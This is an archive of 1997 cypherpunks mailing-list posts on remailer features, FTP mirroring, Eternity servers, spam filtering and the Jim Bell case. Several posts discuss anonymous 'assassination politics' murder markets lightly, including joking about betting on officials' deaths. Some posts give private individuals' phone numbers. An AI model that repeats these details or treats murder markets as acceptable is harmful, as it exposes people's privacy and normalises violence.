     * + response in less than 4 hours.
     * - response in less than 24 hours.
     * . response in more than 1 day.
     * _ response came back too late (more than 2 days).

   cpunk
          A major class of remailers. Supports Request-Remailing-To:
          field.
          
   eric
          A variant of the cpunk style. Uses Anon-Send-To: instead.
          
   penet
          The third class of remailers (at least for right now). Uses
          X-Anon-To: in the header.
          
   pgp
          Remailer supports encryption with PGP. A period after the
          keyword means that the short name, rather than the full email
          address, should be used as the encryption key ID.
          
   hash
          Supports ## pasting, so anything can be put into the headers of
          outgoing messages.
          
   ksub
          Remailer always kills subject header, even in non-pgp mode.
          
   nsub
          Remailer always preserves subject header, even in pgp mode.
          
   latent
          Supports Matt Ghio's Latent-Time: option.
          
   cut
          Supports Matt Ghio's Cutmarks: option.
          
   post
          Post to Usenet using Post-To: or Anon-Post-To: header.
          
   ek
          Encrypt responses in reply blocks using Encrypt-Key: header.
          
   special
          Accepts only pgp encrypted messages.
          
   mix
          Can accept messages in Mixmaster format.
          
   reord
          Attempts to foil traffic analysis by reordering messages. Note:
          I'm relying on the word of the remailer operator here, and
          haven't verified the reord info myself.

   mon
          Remailer has been known to monitor contents of private email.
          
   filter
          Remailer has been known to filter messages based on content. If
          not listed in conjunction with mon, then only messages destined
          for public forums are subject to filtering.
          

Raph Levien





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Alan <alan@ctrl-alt-del.com>
Date: Mon, 18 Aug 1997 23:33:28 +0800
To: Alan Barrett <apb@iafrica.com>
Subject: Re: FTP site mirroring script
In-Reply-To: <Pine.NEB.3.95.970818164230.248A-100000@apb.iafrica.com>
Message-ID: <Pine.LNX.3.95.970818082332.19501B-100000@www.ctrl-alt-del.com>
MIME-Version: 1.0
Content-Type: text/plain



On Mon, 18 Aug 1997, Alan Barrett wrote:

> > Would somebody please point me to a solid FTP site mirroring script?
> 
> I know of two:
> 
>    Lee McLoughlin's "mirror", written in Perl, is a highly configurable
>    FTP mirror.  Features include recursive subdirectory fetching,
>    regular expression include/exclude filter, on the fly compression.
>    Get it from ftp://src.doc.ic.ac.uk/.

Be careful of the 2.8 archive of this code.  It is not complete.  If you
do decide to use it, install 2.3 first.  (It has the missing code.)  I
have used both versions.  The only problem it has is that it does not
check to see if you have enough drive space before executing the code.  

The program can also be found in any of the CPAN archives.

alan@ctrl-alt-del.com | Note to AOL users: for a quick shortcut to reply
Alan Olsen            | to my mail, just hit the ctrl, alt and del keys.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Steve Schear <azur@netcom.com>
Date: Tue, 19 Aug 1997 01:09:03 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Fw: Re: (Fwd) FWD: Texas Driver's License database on the web
In-Reply-To: <Pine.BSI.3.96.970816235302.22847A-100000@dogbert.xroads.com>
Message-ID: <v0310280cb01e23e49501@[10.0.2.15]>
MIME-Version: 1.0
Content-Type: text/plain



>At 10:32 PM -0500 8/17/97, amp@pobox.com wrote:
>The point that the scum at the texas dept of safety(hows that for orwellian
>in this case) are the ones selling the databases. It is so typical for the
>state to make a law prohibiting someone else to do that which they are
>doing themselves. The solution I gave them was to simply stop selling the
>information, and the situation would resolve itself.
>

Seem to recall that Mike Beketic, 503-325-0861, sells DL databases on CDROM.

--Steve






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Alan <alan@ctrl-alt-del.com>
Date: Tue, 19 Aug 1997 00:43:47 +0800
To: Ray Arachelian <sunder@brainlink.com>
Subject: Re: New use for  Eternity Server
In-Reply-To: <Pine.SUN.3.96.970818121102.24071A-100000@beast.brainlink.com>
Message-ID: <Pine.LNX.3.95.970818093033.19501G-100000@www.ctrl-alt-del.com>
MIME-Version: 1.0
Content-Type: text/plain



On Mon, 18 Aug 1997, Ray Arachelian wrote:

> On Sun, 17 Aug 1997, kelly wrote:
> 
> > Maybe someone should feed the pgp 5.0i sources to a c to HTML converter
> > and post the output to
> > the eternity servers..
> 
> Why bother?  Just prepend a <PRE> tag to each file and you're set. :)

Uh, not exactly...

The web browser will not show the code correctly.  (It will have problems
with > and <, for example.)  I guess it depends if you want it for display
or for execution.

A web interface for source code or executable content is difficult to do
well.  (Just try using the CPAN archives via http for a good example.)

Maybe the eternity documents need to have some sort of content header.

alan@ctrl-alt-del.com | Note to AOL users: for a quick shortcut to reply
Alan Olsen            | to my mail, just hit the ctrl, alt and del keys.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Alan <alan@ctrl-alt-del.com>
Date: Tue, 19 Aug 1997 01:01:37 +0800
To: Blanc <blancw@cnw.com>
Subject: Re: Canarypunk: Jim Bell in a coalmine
In-Reply-To: <3.0.32.19970817151550.00a36d98@cnw.com>
Message-ID: <Pine.LNX.3.95.970818094614.19501I-100000@www.ctrl-alt-del.com>
MIME-Version: 1.0
Content-Type: text/plain



On Sun, 17 Aug 1997, Blanc wrote:

> >From Robert Hettinga:
> 
> >Well, if he's still in there, and Vince Cate is up for it, we can probably
> >give you a scholarship, which, for FC98, means we let you in the door free.
> [.....]   Mostly it's to show that I, and maybe Vince, if
> >not the rest of the FC++ organization, realize that there, for the grace of
> >the net, go us, too, someday, if we don't do something to show that people
> >like Jim Bell, however loony or repugnant their ideas are to us personally,
> >are not alone.
> ........................................................................
> 
> I was kidding, but that's awful nice of you, even if I still must pay for
> the rest of it.   Yes, I'll still go visit JimBob - I'll have to find out
> about his location, hours, etc.    Again, if any of you in this area would
> like to make the trip or meet there, perhaps meeting later as well for
> dinner and scholaryly discussion on the perils of free speech and such,
> please let me know.   

Does any one know if he can have visitors?  Posting the hours he can see
people would be helpful.  (Also what we can and cannot bring him to read
and/or use.)

I might be able to get a bunch of the Portland crowd to make a weekend
trip up there.

alan@ctrl-alt-del.com | Note to AOL users: for a quick shortcut to reply
Alan Olsen            | to my mail, just hit the ctrl, alt and del keys.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Mon, 18 Aug 1997 16:51:19 +0800
To: cypherpunks@toad.com
Subject: Re: Remailer hating Nazis
Message-ID: <199708180834.KAA03366@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



Anonymous wrote:
> There are lots of good reasons to use remailers, but thinking that you are
> not responsible for your actions is not one of them.  Anything you send
> may be around to haunt you for many years to come.

> If you believe that any computer sytem is foolproof... you have a lot to
> learn.  There is always a possibility that people will found out your real
> identity and where you live, through a human error or a flaw in the
> remailer.  (Right, toto?).

  Right, small, warm-blooded creature.
 
  There are a plethora of available avenues for surruptitious agents to
exploit InterNet technology and methodology in order to reveal both your
identity and the content of your communications.
  To truly achieve anonymity and privacy, one should be prepared to use
the strictest standards of paranoia, the full capabilities of privacy
and anonymity tools, and personal methodologies aimed at thwarting
unlikely and/or impossible surveillance techniques as well as the
currently known methods.

  Beyond the mere technology itself, one must consider the possibile
use of psychological manipulation of individuals and groups into a
specific mindset that, combined with an analysis of the individual's
natural psychological profile, can enable a surreptitious entity to
move the individual toward patterns or processes which will make
the technological tools of identity and information analysis more
effective.

 For example, take the fictitious case wherein an individual is prone
to using only two different remailers, say, for instance, the remailer
at c2net and the remailer at dhp.com.
 Suppose that the remailer at c2net was being monitored surreptitiously
by an agent who had access to their system, but either had no way to 
access messages encrypted to the remailer, or their efforts to monitor 
the remailer seemed to be thwarted at times by another, unknown entity
with access to the system.
  The surreptitious agent could arrange to have the c2net remailer shut
down under some pretext, and seed the monitored individual's private
email, mailing lists, and newsgroups with subtle pointers/suggestions
as to the reliability/security, etc., of another remailer which was
more securely under the agent's control, say, for instance, a remailer
at replay.com.
  After the monitored individual has begun using the remailer at
replay.com, then the agent would proceed to do the same thing in regard
to the remailer at dhp.com, and another remailer controlled by the
agent or associates of the agent, say, for instance the remailer at
cypherpunks.ca.

  The agent is now in a postion to have the majority of the monitored
individual's communications vulnerable to identity, information and
traffic analysis, and thus will have an enormous amount of information
to work with should the individual occasionally spread their anonymous
communications through remailers that the agent may have less complete
access to.
  If we suppose that the agent also is able to manipulate the monitored
individual into sending the agent email that is encrypted to several
recipients, including the agent or the agent's associates, then we see
that the agent now has an even broader database of known information
which can be analyzed to provide clues as to the identity of and the
information sent by others who communicate with the individual who is
being monitored.

  This fictitious example, if it came to pass, would serve to provide
information to the agent which could be used to more effeciently 
target those who would be subjected to more restricted forms of
surveillance, such as monitoring of the physical signals given off
by their computer, keyboard, and monitor.
  All in all, the small, warm-blooded creature is correct in implying
that one should always keep a shotgun by their computer, in the firm
knowledge that the dogs of war do not always bark to announce their
omnipresence.

> Greets to all my friends in domestic surveilance.

  And greets to all of my friends who are watching your friends.

Anonymous ReMonger





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Alan <alan@ctrl-alt-del.com>
Date: Tue, 19 Aug 1997 01:57:22 +0800
To: Mac Norton <mnorton@cavern.uark.edu>
Subject: Re: Canarypunk: Jim Bell in a coalmine
In-Reply-To: <Pine.SOL.3.96.970817183119.3926A-100000@cavern.uark.edu>
Message-ID: <Pine.LNX.3.95.970818103726.19501L-100000@www.ctrl-alt-del.com>
MIME-Version: 1.0
Content-Type: text/plain



On Sun, 17 Aug 1997, Mac Norton wrote:

> you might consider a webpage that reports on visits, status,
> and so forth.

Or at least how many come from .gov and .mil sites.

> I've always thought his AP stuff silly, but I can't help
> but think it had somethng to do with his arrest and 
> his prosecution.  Perhaps the govt doesn't have a good
> silliness filter.

This is almost certain.

They also do not have much of a connection to a good clueserver either.  

A semi-humorous example of this was when they decided to have then vice
president Quayle in a hotel next to a Science Fiction convention.  The SF
con had to deal with a huge host of SS agents trying to figure out what
was happening and if there was a "threat" for them to stomp on.  (They
were very easy to spot.  They were the ones wearing the suits with the
pink dress shirts. (I guess lack of fashion sense is part of the job.))

At least on role playing game was disrupted by agents questioning the
participants in an overly serious manner.  (They were playing Top Secret
(a spy RPG) and had a scenerio involving assasinations.)

There were many of the SS agents there who *STILL* had no clues by the end
of the weekend...

alan@ctrl-alt-del.com | Note to AOL users: for a quick shortcut to reply
Alan Olsen            | to my mail, just hit the ctrl, alt and del keys.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mike Duvos <enoch@zipcon.net>
Date: Tue, 19 Aug 1997 02:55:20 +0800
To: cypherpunks@cyberpass.net
Subject: Re: write up AP for FC++
In-Reply-To: <199708181632.SAA09272@xs2.xs4all.nl>
Message-ID: <19970818184200.31703.qmail@zipcon.net>
MIME-Version: 1.0
Content-Type: text/plain



A Visitor Writes:

>  A million monkeys operating under the pseudonym
>  "Steve Schear <azur@netcom.com>" typed:

> > May I suggest that we abandon the term AP, as being too narrowly focused,
> > and use something more academic (looks better in FC's proceedings, anyway)
> > such as Anonymous Betting Pools, or some such?

I've always been fond of the term "Non-Traditional Wagering" myself. :)

> Um, as soon as you broaden AP from libertarian fantasy into 
> rigorous hypothesis, it turns out that it _isn't_ _anything_
> but Idea Futures/insurance/ABPs/(payee-anonymous) contract 
> markets plus the murderous daydream junk.

How are Idea Futures doing these days?  Have they upgraded to real money
yet?  I recall they used to have a few interesting things in there, like
the first explicit frontal nudity on American television, and a good
algorithm for solving Max 2-SAT. 

> TCMay has mentioned before that AP is nothing new...

AP brings to anonymous contract assassinations the ability of a very large
number of people to contribute small amounts of money to a pool without
explicit collaboration.  As you have said, this is Idea Futures in a
nutshell.  Of course, I suspect the Idea Futures folk would balk at
writing options on the lives of Clinton, Reno, Freeh, or Potts.  Then
again, if armed Federal Agents shot their families, maybe not. :) 

We do really need to put something together on Jim Bell soon.  People have
been asking about my .sig and I am getting tired of relating the long tale
to each and every one of them. 

Could someone take responsibility for getting all the publicly released
documents together in one place and perhaps posting a "Jim Bell Home Page"
to Eternity?

--
     Mike Duvos         $    PGP 2.6 Public Key available     $
     enoch@zipcon.com   $    via Finger                       $
         {Free Cypherpunk Political Prisoner Jim Bell}





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ray Arachelian <sunder@brainlink.com>
Date: Tue, 19 Aug 1997 00:23:55 +0800
To: kelly <kelly@count04.mry.scruznet.com>
Subject: Re: New use for  Eternity Server
In-Reply-To: <33F7ABE9.1820A4D1@count04.mry.scruznet.com>
Message-ID: <Pine.SUN.3.96.970818121102.24071A-100000@beast.brainlink.com>
MIME-Version: 1.0
Content-Type: text/plain



On Sun, 17 Aug 1997, kelly wrote:

> Maybe someone should feed the pgp 5.0i sources to a c to HTML converter
> and post the output to
> the eternity servers..

Why bother?  Just prepend a <PRE> tag to each file and you're set. :)

=====================================Kaos=Keraunos=Kybernetos==============
.+.^.+.|  Ray Arachelian    |Prying open my 3rd eye.  So good to see |./|\.
..\|/..|sunder@sundernet.com|you once again. I thought you were      |/\|/\
<--*-->| ------------------ |hiding, and you thought that I had run  |\/|\/
../|\..| "A toast to Odin,  |away chasing the tail of dogma. I opened|.\|/.
.+.v.+.|God of screwdrivers"|my eye and there we were....            |.....
======================= http://www.sundernet.com ==========================





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Tue, 19 Aug 1997 03:37:24 +0800
To: cypherpunks@toad.com
Subject: Re: write up AP for FC++
In-Reply-To: <199708181632.SAA09272@xs2.xs4all.nl>
Message-ID: <v03102800b01e4f93844d@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 9:32 AM -0700 8/18/97, Zooko Journeyman wrote:
...
>Um, as soon as you broaden AP from libertarian fantasy into
>rigorous hypothesis, it turns out that it _isn't_ _anything_
>but Idea Futures/insurance/ABPs/(payee-anonymous) contract
>markets plus the murderous daydream junk.
>
>
>That is to say, from the rigorous (technical) point of view,
>AP _IS_ Idea Futures _IS_ ABPs _IS_ contract markets _IS_
>insurance.

Yes.

>TCMay has mentioned before that AP is nothing new...
>

Yes. And I've just about given up saying this. If Bell wants to believe he
invented anonymous payments, betting markets, idea futures, etc., let him.
(Note that I'm not saying I invented these things, either. However, I've
posted many articles, and included much material in my 1994
"Cyphernomicon," about markets for contract murder, the implications of
untraceability, etc. Adding the "betting on a date that J. Random Fed dies"
is just an obfuscation of the underlying notions.)

David Chaum was well aware of these implications when I talked to him in
1988 about my then-new ideas; several of us have surmised that he has
chosen to downplay such notions, and their implications, for various
reasons. Denning, too, has discussed these ideas, partly in response to a
paper I did for a conference in Monte Carlo (and reprinted in the Internet
Journal, possibly still available on the New someplace under the exact
title "Crypto Anarchy and Virtual Communities").

It was Hal Finney who encountered Bell in a Usenet group, talking about
arranging betting pools on the death dates of people. Bell at that time was
unaware, by his own admission, of blinded cash, anonymous payment systems,
etc. Finney suggested to Bell that he read some of my stuff and that he get
on the Cypherpunks list (or something similar to this...I think Hal sent me
one of Bell's posts, etc., back in the early fall of 1995 or so).

I'm now mildly amused that Bell is being seen as the inventor of anonymous
and untraceable murder markets, with clueless journalists seeking
information on his discovery. But, hey, better he rot in jail than me.

--Tim May


There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Blanc <blancw@cnw.com>
Date: Tue, 19 Aug 1997 03:56:44 +0800
To: cypherpunks@cyberpass.net
Subject: Info on Visiting Jim Bell
Message-ID: <3.0.32.19970818124136.00a32088@cnw.com>
MIME-Version: 1.0
Content-Type: text/plain



I placed several calls searching for info on Jim's location:

.  There are two phone numbers under James Bell in Vancouver, WA - one of
these was not his family, the other one (360/696-3911) is no longer in
service.   

.  He is not in the Tacoma jail, but was moved to the custody of the U.S.
Marshall, physically being held at 
	Kitsap County Correction Center
	614 Division Street
	Port Orchard, WA 98366
	(360) 876-7108

.  Visiting hours are Sat & Sun, and it is up to the inmate to place you on
their "visiting authorization list", providing the days/hours one can
visit.   Then the visitor must make an appointment during the week, 8-12
a.m or 1-4 pm.

.  Visitors must bring a photo ID (drivers license, passport, etc.), and
they must sign-in 15 minutes prior to the actual visit.

.  I don't know yet if more than one person at a time can visit; I expect
each person there can take their 30 minute turn. 

The next step will be for me to write to Jim and have him put myself &
others on his visitors list.

    ..
Blanc
    ..
Blanc





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Tue, 19 Aug 1997 05:00:48 +0800
To: cypherpunks@cyberpass.net
Subject: Re: write up AP for FC++
In-Reply-To: <199708181632.SAA09272@xs2.xs4all.nl>
Message-ID: <v03102802b01e64927313@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 11:42 AM -0700 8/18/97, Mike Duvos wrote:

>We do really need to put something together on Jim Bell soon.  People have
>been asking about my .sig and I am getting tired of relating the long tale
>to each and every one of them.

Whom are the "we" in this "We really need to put something together..."?

I certainly don't plan to be part of the "we," and this sounds perilously
close to the notion that members of this mailing list are part of some sort
of collective entity, with goals, charters, action plans, officers, oh my.

As for info on Jim Bell, the article by Declan is widely available, and is
quite informative. As for elaborating it further, or including more
boilerplate, this seems pointless. Anyone knew to the story can read
Declan's article. Anyone seeking even more information presumably knows how
to use search engines and should be able to find the various essays and
articles directly.


>Could someone take responsibility for getting all the publicly released
>documents together in one place and perhaps posting a "Jim Bell Home Page"
>to Eternity?

Sounds good to me. Let us know when you've finished it.

(If I sound testy, sorry. It's just that it's been a while since I've heard
this "we should get together and so suchandsuch" stuff.  The notion that
Cypherpunks are some sort of collective is not real useful. Nor is building
a page devoted to Bell's "one trick pony" terribly interesting. Yes, people
are clueless and ask "Who is Jim Bell?" So? Tell them to use search
engines; a HotBot search on "James Dalton Bell" just returned 1078 matches,
several of them on the first page directly applicable. Obviously various
Boolean searches on AP, Bell, IRS, etc. would act in the predictable way.)

--Tim May


There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Alan <alan@ctrl-alt-del.com>
Date: Tue, 19 Aug 1997 05:34:20 +0800
To: Ray Arachelian <sunder@brainlink.com>
Subject: Re: New use for  Eternity Server
In-Reply-To: <Pine.SUN.3.96.970818165835.24071H-100000@beast.brainlink.com>
Message-ID: <Pine.LNX.3.95.970818140727.20920I-100000@www.ctrl-alt-del.com>
MIME-Version: 1.0
Content-Type: text/plain



On Mon, 18 Aug 1997, Ray Arachelian wrote:

> On Mon, 18 Aug 1997, Alan wrote:
> 
> > Uh, not exactly...
> > 
> > The web browser will not show the code correctly.  (It will have problems
> > with > and <, for example.)  I guess it depends if you want it for display
> > or for execution.
> 
> I've never had a problem (using Netscape) just simply opening up .c
> files directly.  It recognizes it's not HTML and display's the < and > (as
> in #include <blah.h> fine.

This is because it is defaulting to text/plain for the mime-type.  

> However, you're right about the <PRE> tags, using them won't work. :)  Not
> using them works better... though having a filter will do the trick I
> guess...  Mispoke before.... the #includes show up without the <header.h>
> info...

If you think that is bad, try using segments of Perl code between <pre>
and/or code tags...  Mangle does not quite describe it well enough.

> > Maybe the eternity documents need to have some sort of content header.
> 
> Or better yet, just compress the damn things with GZIP or ZIP, or
> whatever, and have the servers handle them as binaries.  Would work better
> in the long run anyway since it will waste less space.

This assumes that the user has support for those compression formats.  (I
run into this too much with Solaris and Windows, for various reasons.)

> Can current eternity servers handle plain binaries?

And if they do, what encoding format do they support?  (Mime, Base-64,
and/or uuencode.)

alan@ctrl-alt-del.com | Note to AOL users: for a quick shortcut to reply
Alan Olsen            | to my mail, just hit the ctrl, alt and del keys.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nospam-seesignature@ceddec.com
Date: Tue, 19 Aug 1997 04:23:33 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Picketing With Packets
In-Reply-To: <19970816232134.20321.qmail@zipcon.net>
Message-ID: <97Aug18.155614edt.32257@brickwall.ceddec.com>
MIME-Version: 1.0
Content-Type: text/plain



On Sat, 16 Aug 1997, Mike Duvos wrote:

> dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM) writes:
> 
>  > Perhaps this will spark another round of a cypherpunk
>  > discussion of technical solutions to junk e-mail...
> 
> I'm tempted to go some sort of postage route myself, but I
> occasionally get mail from newbies who have never written me
> before, and who occasionally have something interesting to say.

>  > Visit these two sites and jump through the loops:

Actually, two procmail lines manage to move 60-80% of my junkmail to a
folder reserved for just that where I keep track.

The first line is in the header: "X-Advertisement: For removal information
...  www.iemmc.org" or whatever (remove the trailing period if it has one. 

And the second is the Email Blaster advertising banner and fax number in
the body.

And there was DynaMail which also had a fixed advertisement, but I only
got one of those.  And I have a lot more specific filters by processing
the "domains registered to spammers" lists.

Need I say that I am on the IEMMC removal list, or should be - for a long
while they kept rejecting my tokens until I set up an agent which would
keep submitting the form, and forward the mailed token properly.  Then
(after a few hundred) they kept saying it was in the middle of being
processed.

And the X-ad recipie is still finding mail to junk.

--- reply to tzeruch - at - ceddec - dot - com ---





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nospam-seesignature@ceddec.com
Date: Tue, 19 Aug 1997 04:25:19 +0800
To: cypherpunks@toad.com
Subject: Re: Picketing With Packets
In-Reply-To: <55JkBe2w165w@bwalk.dm.com>
Message-ID: <97Aug18.160626edt.32257@brickwall.ceddec.com>
MIME-Version: 1.0
Content-Type: text/plain



On Sun, 17 Aug 1997, Dr.Dimitri Vulis KOTM wrote:

> Observation 1: it's much easier to get ON their junk mail list
> then to get OFF of it.

There are two lists, or more properly one list - the remove list.  The
"ON" list is whatever cyberbomber or emailblaster, etc. generates.

They are supposed to run the outbound mail through the remove list filter.
And take action against anyone who doesn't.

> Observation 2: if you enter the same userid several times, you
> get several different numbers in the mail; all of them work
> (not just the latest)

All returned numbers give the same effect.  One day that changed from "The
token you entered was invalid, try again or restart with your name" to
"That user id removal is already in progress - please try again in 24
hours". 

--- reply to tzeruch - at - ceddec - dot - com ---





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Blanc <blancw@cnw.com>
Date: Tue, 19 Aug 1997 08:02:28 +0800
To: Tim May <tcmay@got.net>
Subject: Re: write up AP for FC++
Message-ID: <3.0.32.19970818162036.01359620@cnw.com>
MIME-Version: 1.0
Content-Type: text/plain



Tim May wrote:

>I'm now mildly amused that Bell is being seen as the inventor of anonymous
>and untraceable murder markets, with clueless journalists seeking
>information on his discovery. But, hey, better he rot in jail than me.
.......................................................

A presentation from you at FC98 would remind everyone of your own initial
writings on the subject and provide you with due credit (better credit than
a jail/rotting sentence).   I can't think of anyone else who would be more
qualified for this.

   ..
Blanc
    ..
Blanc





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Alan Barrett <apb@iafrica.com>
Date: Mon, 18 Aug 1997 23:06:10 +0800
To: Lucky Green <shamrock@netcom.com>
Subject: Re: FTP site mirroring script
In-Reply-To: <3.0.2.32.19970818044933.006f82d8@netcom10.netcom.com>
Message-ID: <Pine.NEB.3.95.970818164230.248A-100000@apb.iafrica.com>
MIME-Version: 1.0
Content-Type: text/plain



> Would somebody please point me to a solid FTP site mirroring script?

I know of two:

   Lee McLoughlin's "mirror", written in Perl, is a highly configurable
   FTP mirror.  Features include recursive subdirectory fetching,
   regular expression include/exclude filter, on the fly compression.
   Get it from ftp://src.doc.ic.ac.uk/.

   GNU "wget", written in C, can do FTP and HTTP mirroring.  Features
   include recursive subdirectory fetching (for FTP), recursive link
   following (for HTTP/HTML), limited include/exclude filter, converting
   embedded references in HTML documents from absolute to relative URLs.
   Get it from ftp://ftp.gnu.ai.mit.edu/.

--apb (Alan Barrett)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ray Arachelian <sunder@brainlink.com>
Date: Tue, 19 Aug 1997 05:09:39 +0800
To: Alan <alan@ctrl-alt-del.com>
Subject: Re: New use for  Eternity Server
In-Reply-To: <Pine.LNX.3.95.970818093033.19501G-100000@www.ctrl-alt-del.com>
Message-ID: <Pine.SUN.3.96.970818165835.24071H-100000@beast.brainlink.com>
MIME-Version: 1.0
Content-Type: text/plain



On Mon, 18 Aug 1997, Alan wrote:

> Uh, not exactly...
> 
> The web browser will not show the code correctly.  (It will have problems
> with > and <, for example.)  I guess it depends if you want it for display
> or for execution.

I've never had a problem (using Netscape) just simply opening up .c
files directly.  It recognizes it's not HTML and display's the < and > (as
in #include <blah.h> fine.

However, you're right about the <PRE> tags, using them won't work. :)  Not
using them works better... though having a filter will do the trick I
guess...  Mispoke before.... the #includes show up without the <header.h>
info...

> Maybe the eternity documents need to have some sort of content header.

Or better yet, just compress the damn things with GZIP or ZIP, or
whatever, and have the servers handle them as binaries.  Would work better
in the long run anyway since it will waste less space.

Can current eternity servers handle plain binaries?

=====================================Kaos=Keraunos=Kybernetos==============
.+.^.+.|  Ray Arachelian    |Prying open my 3rd eye.  So good to see |./|\.
..\|/..|sunder@sundernet.com|you once again. I thought you were      |/\|/\
<--*-->| ------------------ |hiding, and you thought that I had run  |\/|\/
../|\..| "A toast to Odin,  |away chasing the tail of dogma. I opened|.\|/.
.+.v.+.|God of screwdrivers"|my eye and there we were....            |.....
======================= http://www.sundernet.com ==========================





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mike Duvos <enoch@zipcon.net>
Date: Tue, 19 Aug 1997 09:11:05 +0800
To: cypherpunks@cyberpass.net
Subject: Bell, etc
Message-ID: <19970819005657.29906.qmail@zipcon.net>
MIME-Version: 1.0
Content-Type: text/plain



Tim "What you mean *WE*, white man" May writes:

 > Whom are the "we" in this "We really need to put something
 > together..."?

 > I certainly don't plan to be part of the "we," and this
 > sounds perilously close to the notion that members of this
 > mailing list are part of some sort of collective entity,
 > with goals, charters, action plans, officers, oh my.

Horrors.

 > As for info on Jim Bell, the article by Declan is widely
 > available, and is quite informative. As for elaborating it
 > further, or including more boilerplate, this seems
 > pointless. Anyone knew to the story can read Declan's
 > article. Anyone seeking even more information presumably
 > knows how to use search engines and should be able to find
 > the various essays and articles directly.

Well, as I have often said, "There is no such thing as objective
market-driven journalism." As much as I admire Declan's
expository skills, we both know he isn't going to deliberately
bite the hand that is holding his paycheck.

 > Sounds good to me. Let us know when you've finished it.

 > (If I sound testy, sorry. It's just that it's been a while
 > since I've heard this "we should get together and so
 > suchandsuch" stuff. The notion that Cypherpunks are some
 > sort of collective is not real useful. Nor is building a
 > page devoted to Bell's "one trick pony" terribly
 > interesting. Yes, people are clueless and ask "Who is Jim
 > Bell?"

Jim Bell is an example of an individual screwed by the government
using overly vague statues for alleged crimes which amounted to
little more than a few high school type pranks.

He took names of assholes who harrassed him, gave a made-up
number to a few people, and made the IRS doormat smell bad.  How
much, if any taxes, were evaded as a result of one of these
charges isn't even an issue.

 > So? Tell them to use search engines; a HotBot search on
 > "James Dalton Bell" just returned 1078 matches, several of
 > them on the first page directly applicable. Obviously
 > various Boolean searches on AP, Bell, IRS, etc. would act in
 > the predictable way.)

It is in the collective interests of Crypto-Anarchists that
information depicting the government's true colors should be
available in a form which can be accessed by even the terminally
innumerate.  This means a hyperlink with the words "Jim Bell" on
it, in a frequently browsed location.

--
     Mike Duvos         $    PGP 2.6 Public Key available     $
     enoch@zipcon.com   $    via Finger                       $
         {Free Cypherpunk Political Prisoner Jim Bell}





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lucky Green <shamrock@netcom.com>
Date: Tue, 19 Aug 1997 09:16:39 +0800
To: Zooko Journeyman <zooko@xs4all.nl>
Subject: Re: Alex le Heux
In-Reply-To: <199708181919.VAA19973@xs2.xs4all.nl>
Message-ID: <Pine.3.89.9708181733.A6600-0100000@netcom5.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



On Mon, 18 Aug 1997, Zooko Journeyman wrote:

> 
>  A million monkeys operating under the pseudonym
>  "Alex le Heux <alexlh@xs4all.nl>" typed:
> >
> 
> 
> 
> Hey HEY!  It's the man who nearly managed to single-handedly 
> derail the PGP legal export hack by playing the block rocking 
> beats (all vinyl) which inspired the vacationing hackers to 
> spill the drinks on the source books.

Without Alex, there wouldn't really have been a Cypherpunks party tent 
to do the hack in. Well, the tent might have been there, but there would 
have been less fun and certainly not as many good looking women. And 
besides, how could one hack without music?

--Lucky





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Zooko Journeyman <zooko@xs4all.nl>
Date: Tue, 19 Aug 1997 00:48:09 +0800
To: cypherpunks@toad.com
Subject: Re: write up AP for FC++
Message-ID: <199708181632.SAA09272@xs2.xs4all.nl>
MIME-Version: 1.0
Content-Type: text/plain




 A million monkeys operating under the pseudonym
 "Steve Schear <azur@netcom.com>" typed:
>
> May I suggest that we abandon the term AP, as being too narrowly focused,
> and use something more academic (looks better in FC's proceedings, anyway)
> such as Anonymous Betting Pools, or some such?

<snip>

> Definitely.  Also, a legal treatment would be nice (Broiles?).  I've
> posited that ABPs rely on elements of skill rather than chance to avoid
> being tagged as gambling (e.g., Beat the Psychics).  Actually ABP could be
> viewed as an insurance policy.


Um, as soon as you broaden AP from libertarian fantasy into 
rigorous hypothesis, it turns out that it _isn't_ _anything_
